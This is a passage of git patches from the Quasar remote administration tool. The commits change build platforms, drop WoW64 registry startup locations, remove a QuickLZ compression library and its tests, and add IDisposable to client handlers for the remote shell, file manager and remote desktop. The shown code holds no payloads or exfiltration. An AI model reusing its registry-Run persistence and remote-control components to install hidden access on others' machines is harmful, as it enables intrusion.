VerifyHash() diff --git a/Quasar.Client/Quasar.Client.csproj b/Quasar.Client/Quasar.Client.csproj index f6a7727f8..96399967c 100644 --- a/Quasar.Client/Quasar.Client.csproj +++ b/Quasar.Client/Quasar.Client.csproj @@ -5,18 +5,20 @@ Client true false - x86 + AnyCPU - + ..\bin\Debug\ true portable true + AnyCPU - + none ..\bin\Release\ true + AnyCPU Quasar.Client.Program @@ -25,11 +27,8 @@ app.manifest - - - diff --git a/Quasar.Common/Enums/StartupType.cs b/Quasar.Common/Enums/StartupType.cs index 9ca848804..9113ed7cc 100644 --- a/Quasar.Common/Enums/StartupType.cs +++ b/Quasar.Common/Enums/StartupType.cs @@ -6,8 +6,6 @@ public enum StartupType LocalMachineRunOnce, CurrentUserRun, CurrentUserRunOnce, - LocalMachineWoW64Run, - LocalMachineWoW64RunOnce, StartMenu } } diff --git a/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs b/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs index 3cc462a76..24511b939 100644 --- a/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs +++ b/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs @@ -84,7 +84,17 @@ public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, P { lock (_imageProcessLock) { - byte* pScan0 = (byte*)scan0.ToInt32(); + byte* pScan0; + if (IntPtr.Size == 8) + { + // 64 bit process + pScan0 = (byte*) scan0.ToInt64(); + } + else + { + // 32 bit process + pScan0 = (byte*)scan0.ToInt32(); + } if (!outStream.CanWrite) { @@ -367,4 +377,4 @@ public Bitmap DecodeData(Stream inStream) return _decodedBitmap; } } -} \ No newline at end of file +} diff --git a/Quasar.Server/Forms/FrmBuilder.cs b/Quasar.Server/Forms/FrmBuilder.cs index f00f220eb..083abe0b1 100644 --- a/Quasar.Server/Forms/FrmBuilder.cs +++ b/Quasar.Server/Forms/FrmBuilder.cs @@ -423,16 +423,12 @@ private void RefreshPreviewPath() path = Path.Combine( Path.Combine( - Environment.GetFolderPath(PlatformHelper.Is64Bit - ? Environment.SpecialFolder.ProgramFilesX86 - : Environment.SpecialFolder.ProgramFiles), txtInstallSubDirectory.Text), txtInstallName.Text); + Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), txtInstallSubDirectory.Text), txtInstallName.Text); else if (rbSystem.Checked) path = Path.Combine( Path.Combine( - Environment.GetFolderPath(PlatformHelper.Is64Bit - ? Environment.SpecialFolder.SystemX86 - : Environment.SpecialFolder.System), txtInstallSubDirectory.Text), txtInstallName.Text); + Environment.GetFolderPath(Environment.SpecialFolder.System), txtInstallSubDirectory.Text), txtInstallName.Text); this.Invoke((MethodInvoker)delegate { txtPreviewPath.Text = path + ".exe"; }); } diff --git a/Quasar.Server/Forms/FrmStartupAdd.cs b/Quasar.Server/Forms/FrmStartupAdd.cs index 3866d919e..032be4310 100644 --- a/Quasar.Server/Forms/FrmStartupAdd.cs +++ b/Quasar.Server/Forms/FrmStartupAdd.cs @@ -39,8 +39,6 @@ private void AddTypes() cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); - cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"); - cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); cmbType.Items.Add("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"); cmbType.SelectedIndex = 0; } diff --git a/Quasar.Server/Forms/FrmStartupManager.cs b/Quasar.Server/Forms/FrmStartupManager.cs index a5ce2d3e6..1936de568 100644 --- a/Quasar.Server/Forms/FrmStartupManager.cs +++ b/Quasar.Server/Forms/FrmStartupManager.cs @@ -123,13 +123,6 @@ private void AddGroups() lstStartupItems.Groups.Add( new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce") {Tag = StartupType.CurrentUserRunOnce}); - lstStartupItems.Groups.Add( - new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run") - {Tag = StartupType.LocalMachineWoW64Run}); - lstStartupItems.Groups.Add( - new ListViewGroup( - "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce") - {Tag = StartupType.LocalMachineWoW64RunOnce}); lstStartupItems.Groups.Add(new ListViewGroup("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") {Tag = StartupType.StartMenu}); } diff --git a/QuasarRAT.sln b/QuasarRAT.sln index 1754b7498..ec2deab9b 100644 --- a/QuasarRAT.sln +++ b/QuasarRAT.sln @@ -13,26 +13,26 @@ Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Common.Tests", "Quas EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Mixed Platforms = Debug|Mixed Platforms - Release|Mixed Platforms = Release|Mixed Platforms + Debug|AnyCPU = Debug|AnyCPU + Release|AnyCPU = Release|AnyCPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|Mixed Platforms.Build.0 = Release|Any CPU - {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 - {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|Mixed Platforms.Build.0 = Debug|x86 - {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|Mixed Platforms.ActiveCfg = Release|x86 - {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|Mixed Platforms.Build.0 = Release|x86 - {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU - {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU - {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU - {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|Mixed Platforms.Build.0 = Release|Any CPU - {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU - {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU - {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU - {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|Mixed Platforms.Build.0 = Release|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|AnyCPU.Build.0 = Release|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|AnyCPU.Build.0 = Release|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|AnyCPU.Build.0 = Release|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|AnyCPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE From b26e1639ea0dc1fb135d649250f0a38eb63856f9 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 31 May 2020 11:27:56 +0200 Subject: [PATCH 189/229] Remove unused QuickLZ compression #816 --- .../Compression/SafeQuickLZ.Tests.cs | 118 ---- Quasar.Common/IO/Compression/SafeQuickLZ.cs | 513 ------------------ 2 files changed, 631 deletions(-) delete mode 100644 Quasar.Common.Tests/Compression/SafeQuickLZ.Tests.cs delete mode 100644 Quasar.Common/IO/Compression/SafeQuickLZ.cs diff --git a/Quasar.Common.Tests/Compression/SafeQuickLZ.Tests.cs b/Quasar.Common.Tests/Compression/SafeQuickLZ.Tests.cs deleted file mode 100644 index 14ab11498..000000000 --- a/Quasar.Common.Tests/Compression/SafeQuickLZ.Tests.cs +++ /dev/null @@ -1,118 +0,0 @@ -using Microsoft.VisualStudio.TestTools.UnitTesting; -using Quasar.Common.IO.Compression; -using System; - -namespace Quasar.Common.Tests.Compression -{ - [TestClass] - public class SafeQuickLZTests - { - /* - * Purpose: To validate a small amount of data after compression/decompression - * using SafeQuickLZ with level 1 compression. - */ - [TestMethod, TestCategory("Compression")] - public void SmallDataCompressionTestLevel1() - { - byte[] smallData = new byte[100]; - - // Fill the small data array with random data. - new Random().NextBytes(smallData); - - // Store the compressed data. - byte[] smallDataCompressed = SafeQuickLZ.Compress(smallData, 1); - - // The original should not equal the compressed data. - Assert.AreNotEqual(smallData, smallDataCompressed); - - // Store the decompressed data. - byte[] smallDataDecompressed = SafeQuickLZ.Decompress(smallDataCompressed); - - // The compressed data should not equal the decompressed data. - Assert.AreNotEqual(smallDataCompressed, smallDataDecompressed); - // The original data must equal the decompressed data; must be able to make a round-trip. - CollectionAssert.AreEqual(smallData, smallDataDecompressed); - } - - /* - * Purpose: To validate a small amount of data after compression/decompression - * using SafeQuickLZ with level 3 compression. - */ - [TestMethod, TestCategory("Compression")] - public void SmallDataCompressionTestLevel3() - { - byte[] smallData = new byte[100]; - - // Fill the small data array with random data. - new Random().NextBytes(smallData); - - // Store the compressed data. - byte[] smallDataCompressed = SafeQuickLZ.Compress(smallData, 3); - - // The original should not equal the compressed data. - Assert.AreNotEqual(smallData, smallDataCompressed); - - // Store the decompressed data. - byte[] smallDataDecompressed = SafeQuickLZ.Decompress(smallDataCompressed); - - // The compressed data should not equal the decompressed data. - Assert.AreNotEqual(smallDataCompressed, smallDataDecompressed); - // The original data must equal the decompressed data; must be able to make a round-trip. - CollectionAssert.AreEqual(smallData, smallDataDecompressed); - } - - /* - * Purpose: To validate a large amount of data after compression/decompression - * using SafeQuickLZ with level 1 compression. - */ - [TestMethod, TestCategory("Compression")] - public void BigDataCompressionTestLevel1() - { - byte[] bigData = new byte[100000]; - - // Fill the big data array with random data. - new Random().NextBytes(bigData); - - // Store the compressed data. - byte[] bigDataCompressed = SafeQuickLZ.Compress(bigData, 1); - - // The original should not equal the compressed data. - Assert.AreNotEqual(bigData, bigDataCompressed); - - // Store the decompressed data. - byte[] bigDataDecompressed = SafeQuickLZ.Decompress(bigDataCompressed); - - // The compressed data should not equal the decompressed data. - Assert.AreNotEqual(bigDataCompressed, bigDataDecompressed); - // The original data must equal the decompressed data; must be able to make a round-trip. - CollectionAssert.AreEqual(bigData, bigDataDecompressed); - } - - /* - * Purpose: To validate a large amount of data after compression/decompression - * using SafeQuickLZ with level 3 compression. - */ - [TestMethod, TestCategory("Compression")] - public void BigDataCompressionTestLevel3() - { - byte[] bigData = new byte[100000]; - - // Fill the big data array with random data. - new Random().NextBytes(bigData); - - // Store the compressed data. - byte[] bigDataCompressed = SafeQuickLZ.Compress(bigData, 3); - - // The original should not equal the compressed data. - Assert.AreNotEqual(bigData, bigDataCompressed); - - // Store the decompressed data. - byte[] bigDataDecompressed = SafeQuickLZ.Decompress(bigDataCompressed); - - // The compressed data should not equal the decompressed data. - Assert.AreNotEqual(bigDataCompressed, bigDataDecompressed); - // The original data must equal the decompressed data; must be able to make a round-trip. - CollectionAssert.AreEqual(bigData, bigDataDecompressed); - } - } -} diff --git a/Quasar.Common/IO/Compression/SafeQuickLZ.cs b/Quasar.Common/IO/Compression/SafeQuickLZ.cs deleted file mode 100644 index 64967a606..000000000 --- a/Quasar.Common/IO/Compression/SafeQuickLZ.cs +++ /dev/null @@ -1,513 +0,0 @@ -using System; - -#pragma warning disable 0675 - -namespace Quasar.Common.IO.Compression -{ - // QuickLZ data compression library - // Copyright (C) 2006-2011 Lasse Mikkel Reinhold - // lar@quicklz.com - // - // QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything - // released into public must be open source) or under a commercial license if such - // has been acquired (see http://www.quicklz.com/order.html). The commercial license - // does not cover derived or ported versions created by third parties under GPL. - // - // Only a subset of the C library has been ported, namely level 1 and 3 not in - // streaming mode. - // - // Version: 1.5.0 final - - public static class SafeQuickLZ - { - public const int QLZ_VERSION_MAJOR = 1; - public const int QLZ_VERSION_MINOR = 5; - public const int QLZ_VERSION_REVISION = 0; - - // Streaming mode not supported - public const int QLZ_STREAMING_BUFFER = 0; - - // Bounds checking not supported Use try...catch instead - public const int QLZ_MEMORY_SAFE = 0; - - // Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values! - private const int HASH_VALUES = 4096; - private const int MINOFFSET = 2; - private const int UNCONDITIONAL_MATCHLEN = 6; - private const int UNCOMPRESSED_END = 4; - private const int CWORD_LEN = 4; - private const int DEFAULT_HEADERLEN = 9; - private const int QLZ_POINTERS_1 = 1; - private const int QLZ_POINTERS_3 = 16; - - private static int HeaderLength(byte[] source) - { - return ((source[0] & 2) == 2) ? 9 : 3; - } - - public static int SizeDecompressed(byte[] source) - { - if (HeaderLength(source) == 9) - return source[5] | (source[6] << 8) | (source[7] << 16) | (source[8] << 24); - else - return source[2]; - } - - public static int SizeCompressed(byte[] source) - { - if (HeaderLength(source) == 9) - return source[1] | (source[2] << 8) | (source[3] << 16) | (source[4] << 24); - else - return source[1]; - } - - private static void WriteHeader(byte[] dst, int level, bool compressible, int sizeCompressed, - int sizeDecompressed) - { - dst[0] = (byte)(2 | (compressible ? 1 : 0)); - dst[0] |= (byte)(level << 2); - dst[0] |= (1 << 6); - dst[0] |= (0 << 4); - FastWrite(dst, 1, sizeDecompressed, 4); - FastWrite(dst, 5, sizeCompressed, 4); - } - - public static byte[] Compress(byte[] source, int level = 3) - { - if (source.Length == 0) - return new byte[0]; - - int[,] hashtable; - - switch (level) - { - case 1: - hashtable = new int[HASH_VALUES, QLZ_POINTERS_1]; - break; - case 3: - hashtable = new int[HASH_VALUES, QLZ_POINTERS_3]; - break; - default: - throw new ArgumentException("C# version only supports level 1 and 3"); - } - - int src = 0; - int dst = DEFAULT_HEADERLEN + CWORD_LEN; - uint cword_val = 0x80000000; - int cword_ptr = DEFAULT_HEADERLEN; - byte[] destination = new byte[source.Length + 400]; - int[] cachetable = new int[HASH_VALUES]; - byte[] hash_counter = new byte[HASH_VALUES]; - byte[] d2; - int fetch = 0; - int last_matchstart = (source.Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1); - int lits = 0; - - if (src <= last_matchstart) - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - - while (src <= last_matchstart) - { - if ((cword_val & 1) == 1) - { - if (src > source.Length >> 1 && dst > src - (src >> 5)) - { - d2 = new byte[source.Length + DEFAULT_HEADERLEN]; - WriteHeader(d2, level, false, source.Length, source.Length + DEFAULT_HEADERLEN); - Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, source.Length); - return d2; - } - - FastWrite(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); - cword_ptr = dst; - dst += CWORD_LEN; - cword_val = 0x80000000; - } - - if (level == 1) - { - int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - int o = hashtable[hash, 0]; - int cache = cachetable[hash] ^ fetch; - cachetable[hash] = fetch; - hashtable[hash, 0] = src; - - if (cache == 0 && hash_counter[hash] != 0 && - (src - o > MINOFFSET || - (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] && - source[src] == source[src - 2] && source[src] == source[src - 1] && - source[src] == source[src + 1] && source[src] == source[src + 2]))) - { - cword_val = ((cword_val >> 1) | 0x80000000); - if (source[o + 3] != source[src + 3]) - { - int f = 3 - 2 | (hash << 4); - destination[dst + 0] = (byte)(f >> 0 * 8); - destination[dst + 1] = (byte)(f >> 1 * 8); - src += 3; - dst += 2; - } - else - { - int old_src = src; - int remaining = ((source.Length - UNCOMPRESSED_END - src + 1 - 1) > 255 - ? 255 - : (source.Length - UNCOMPRESSED_END - src + 1 - 1)); - - src += 4; - if (source[o + src - old_src] == source[src]) - { - src++; - if (source[o + src - old_src] == source[src]) - { - src++; - while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining) - src++; - } - } - - int matchlen = src - old_src; - - hash <<= 4; - if (matchlen < 18) - { - int f = (hash | (matchlen - 2)); - destination[dst + 0] = (byte)(f >> 0 * 8); - destination[dst + 1] = (byte)(f >> 1 * 8); - dst += 2; - } - else - { - FastWrite(destination, dst, hash | (matchlen << 16), 3); - dst += 3; - } - } - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - lits = 0; - } - else - { - lits++; - hash_counter[hash] = 1; - destination[dst] = source[src]; - cword_val = (cword_val >> 1); - src++; - dst++; - fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16); - } - - } - else - { - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - - int o, offset2; - int matchlen, k, m, best_k = 0; - byte c; - int remaining = ((source.Length - UNCOMPRESSED_END - src + 1 - 1) > 255 - ? 255 - : (source.Length - UNCOMPRESSED_END - src + 1 - 1)); - int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - - c = hash_counter[hash]; - matchlen = 0; - offset2 = 0; - for (k = 0; k < QLZ_POINTERS_3 && c > k; k++) - { - o = hashtable[hash, k]; - if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && - (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET) - { - m = 3; - while (source[o + m] == source[src + m] && m < remaining) - m++; - if ((m > matchlen) || (m == matchlen && o > offset2)) - { - offset2 = o; - matchlen = m; - best_k = k; - } - } - } - o = offset2; - hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src; - c++; - hash_counter[hash] = c; - - if (matchlen >= 3 && src - o < 131071) - { - int offset = src - o; - - for (int u = 1; u < matchlen; u++) - { - fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16); - hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - c = hash_counter[hash]++; - hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u; - } - - src += matchlen; - cword_val = ((cword_val >> 1) | 0x80000000); - - if (matchlen == 3 && offset <= 63) - { - FastWrite(destination, dst, offset << 2, 1); - dst++; - } - else if (matchlen == 3 && offset <= 16383) - { - FastWrite(destination, dst, (offset << 2) | 1, 2); - dst += 2; - } - else if (matchlen <= 18 && offset <= 1023) - { - FastWrite(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2); - dst += 2; - } - else if (matchlen <= 33) - { - FastWrite(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3); - dst += 3; - } - else - { - FastWrite(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4); - dst += 4; - } - lits = 0; - } - else - { - destination[dst] = source[src]; - cword_val = (cword_val >> 1); - src++; - dst++; - } - } - } - while (src <= source.Length - 1) - { - if ((cword_val & 1) == 1) - { - FastWrite(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); - cword_ptr = dst; - dst += CWORD_LEN; - cword_val = 0x80000000; - } - - destination[dst] = source[src]; - src++; - dst++; - cword_val = (cword_val >> 1); - } - while ((cword_val & 1) != 1) - { - cword_val = (cword_val >> 1); - } - FastWrite(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN); - WriteHeader(destination, level, true, source.Length, dst); - d2 = new byte[dst]; - Array.Copy(destination, d2, dst); - return d2; - } - - - private static void FastWrite(byte[] a, int i, int value, int numbytes) - { - for (int j = 0; j < numbytes; j++) - a[i + j] = (byte)(value >> (j * 8)); - } - - public static byte[] Decompress(byte[] source) - { - if (source.Length == 0) - return new byte[0]; - - int level = (source[0] >> 2) & 0x3; - - if (level != 1 && level != 3) - throw new ArgumentException("C# version only supports level 1 and 3"); - - int size = SizeDecompressed(source); - int src = HeaderLength(source); - int dst = 0; - uint cword_val = 1; - byte[] destination = new byte[size]; - int[] hashtable = new int[4096]; - byte[] hash_counter = new byte[4096]; - int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1; - int last_hashed = -1; - int hash; - uint fetch = 0; - - if ((source[0] & 1) != 1) - { - byte[] d2 = new byte[size]; - Array.Copy(source, HeaderLength(source), d2, 0, size); - return d2; - } - - for (; ; ) - { - if (cword_val == 1) - { - cword_val = - (uint) - (source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); - src += 4; - if (dst <= last_matchstart) - { - if (level == 1) - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); - else - fetch = - (uint) - (source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | - (source[src + 3] << 24)); - } - } - - if ((cword_val & 1) == 1) - { - uint matchlen; - uint offset2; - - cword_val = cword_val >> 1; - - if (level == 1) - { - hash = ((int)fetch >> 4) & 0xfff; - offset2 = (uint)hashtable[hash]; - - if ((fetch & 0xf) != 0) - { - matchlen = (fetch & 0xf) + 2; - src += 2; - } - else - { - matchlen = source[src + 2]; - src += 3; - } - } - else - { - uint offset; - if ((fetch & 3) == 0) - { - offset = (fetch & 0xff) >> 2; - matchlen = 3; - src++; - } - else if ((fetch & 2) == 0) - { - offset = (fetch & 0xffff) >> 2; - matchlen = 3; - src += 2; - } - else if ((fetch & 1) == 0) - { - offset = (fetch & 0xffff) >> 6; - matchlen = ((fetch >> 2) & 15) + 3; - src += 2; - } - else if ((fetch & 127) != 3) - { - offset = (fetch >> 7) & 0x1ffff; - matchlen = ((fetch >> 2) & 0x1f) + 2; - src += 3; - } - else - { - offset = (fetch >> 15); - matchlen = ((fetch >> 7) & 255) + 3; - src += 4; - } - offset2 = (uint)(dst - offset); - } - - destination[dst + 0] = destination[offset2 + 0]; - destination[dst + 1] = destination[offset2 + 1]; - destination[dst + 2] = destination[offset2 + 2]; - - for (int i = 3; i < matchlen; i += 1) - { - destination[dst + i] = destination[offset2 + i]; - } - - dst += (int)matchlen; - - if (level == 1) - { - fetch = - (uint) - (destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | - (destination[last_hashed + 3] << 16)); - while (last_hashed < dst - matchlen) - { - last_hashed++; - hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1)); - hashtable[hash] = last_hashed; - hash_counter[hash] = 1; - fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16); - } - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); - } - else - { - fetch = - (uint) - (source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | - (source[src + 3] << 24)); - } - last_hashed = dst - 1; - } - else - { - if (dst <= last_matchstart) - { - destination[dst] = source[src]; - dst += 1; - src += 1; - cword_val = cword_val >> 1; - - if (level == 1) - { - while (last_hashed < dst - 3) - { - last_hashed++; - int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | - (destination[last_hashed + 2] << 16); - hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1); - hashtable[hash] = last_hashed; - hash_counter[hash] = 1; - } - fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16); - } - else - { - fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24); - } - } - else - { - while (dst <= size - 1) - { - if (cword_val == 1) - { - src += CWORD_LEN; - cword_val = 0x80000000; - } - - destination[dst] = source[src]; - dst++; - src++; - cword_val = cword_val >> 1; - } - return destination; - } - } - } - } - } -} \ No newline at end of file From 5820dfa6b341086ef29afc695293d2cbbf5ccc8e Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 31 May 2020 11:30:29 +0200 Subject: [PATCH 190/229] Add missing IDisposable interface to client message processors --- Quasar.Client/Messages/FileManagerHandler.cs | 2 +- .../Messages/RemoteDesktopHandler.cs | 2 +- Quasar.Client/Messages/RemoteShellHandler.cs | 2 +- .../Messages/StartupManagerHandler.cs | 69 ------------------- Quasar.Client/Messages/TaskManagerHandler.cs | 2 +- 5 files changed, 4 insertions(+), 73 deletions(-) diff --git a/Quasar.Client/Messages/FileManagerHandler.cs b/Quasar.Client/Messages/FileManagerHandler.cs index bb337f144..d8c9e23c4 100644 --- a/Quasar.Client/Messages/FileManagerHandler.cs +++ b/Quasar.Client/Messages/FileManagerHandler.cs @@ -16,7 +16,7 @@ namespace Quasar.Client.Messages { - public class FileManagerHandler : IMessageProcessor + public class FileManagerHandler : IMessageProcessor, IDisposable { private readonly ConcurrentDictionary _activeTransfers = new ConcurrentDictionary(); private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads diff --git a/Quasar.Client/Messages/RemoteDesktopHandler.cs b/Quasar.Client/Messages/RemoteDesktopHandler.cs index de55fee4d..25cf22862 100644 --- a/Quasar.Client/Messages/RemoteDesktopHandler.cs +++ b/Quasar.Client/Messages/RemoteDesktopHandler.cs @@ -12,7 +12,7 @@ namespace Quasar.Client.Messages { - public class RemoteDesktopHandler : IMessageProcessor + public class RemoteDesktopHandler : IMessageProcessor, IDisposable { private UnsafeStreamCodec _streamCodec; diff --git a/Quasar.Client/Messages/RemoteShellHandler.cs b/Quasar.Client/Messages/RemoteShellHandler.cs index 2bc692b12..c10cf98fd 100644 --- a/Quasar.Client/Messages/RemoteShellHandler.cs +++ b/Quasar.Client/Messages/RemoteShellHandler.cs @@ -9,7 +9,7 @@ namespace Quasar.Client.Messages /// /// Handles messages for the interaction with the remote shell. /// - public class RemoteShellHandler : IMessageProcessor + public class RemoteShellHandler : IMessageProcessor, IDisposable { /// /// The current remote shell instance. diff --git a/Quasar.Client/Messages/StartupManagerHandler.cs b/Quasar.Client/Messages/StartupManagerHandler.cs index 50b6f32ae..2fb8d2678 100644 --- a/Quasar.Client/Messages/StartupManagerHandler.cs +++ b/Quasar.Client/Messages/StartupManagerHandler.cs @@ -86,35 +86,6 @@ private void Execute(ISender client, GetStartupItems message) } } } - if (PlatformHelper.Is64Bit) - { - using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) - { - if (key != null) - { - foreach (var item in key.GetKeyValues()) - { - startupItems.Add(new Common.Models.StartupItem - { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineWoW64Run }); - } - } - } - using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) - { - if (key != null) - { - foreach (var item in key.GetKeyValues()) - { - startupItems.Add(new Common.Models.StartupItem - { - Name = item.Item1, - Path = item.Item2, - Type = StartupType.LocalMachineWoW64RunOnce - }); - } - } - } - } if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); @@ -165,26 +136,6 @@ private void Execute(ISender client, DoStartupItemAdd message) throw new Exception("Could not add value"); } break; - case StartupType.LocalMachineWoW64Run: - if (!PlatformHelper.Is64Bit) - throw new NotSupportedException("Only on 64-bit systems supported"); - - if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) - { - throw new Exception("Could not add value"); - } - break; - case StartupType.LocalMachineWoW64RunOnce: - if (!PlatformHelper.Is64Bit) - throw new NotSupportedException("Only on 64-bit systems supported"); - - if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, - 